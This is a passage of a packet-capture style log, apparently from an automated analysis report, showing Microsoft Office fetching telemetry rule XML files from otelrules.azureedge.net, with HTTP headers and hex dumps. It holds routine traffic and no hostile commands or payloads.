2024-11-24 01:14:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011438Z-15b8b599d88l2dpthC1TEBmzr000000003t000000000299p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:38 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:39 UTC	495	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e22d4ccd-f01e-001f-230e-3e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011438Z-178bfbc474bbbqrhhC1NYCvw7400000005f0000000004ymh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 01:14:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:39 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:39 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011439Z-174c587ffdf6b487hC1TEBydsn00000003kg00000000nnbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:39 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:40 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011440Z-178bfbc474btvfdfhC1NYCa2en00000005cg00000000519w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:40 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011440Z-15b8b599d889gj5whC1TEBfyk000000003hg00000000b1yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:40 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011440Z-178bfbc474bwh9gmhC1NYCy3rs00000005ag000000009unp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:41 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:41 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 296d38e7-501e-0047-5354-3dce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011441Z-15b8b599d88f9wfchC1TEBm2kc00000003tg00000000gmwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:41 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011441Z-178bfbc474bv587zhC1NYCny5w000000052g00000000eyu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:42 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011442Z-178bfbc474b9xljthC1NYCtw94000000052g00000000hp8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:42 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bac6914c-b01e-0002-4559-3c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011442Z-15b8b599d88wk8w4hC1TEB14b800000003t0000000008rtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:42 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: f30e7def-101e-0065-0967-3d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011443Z-178bfbc474bv7whqhC1NYC1fg4000000055000000000m0w9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:43 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011443Z-15b8b599d88wn9hhhC1TEBry0g00000003pg00000000m8k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" 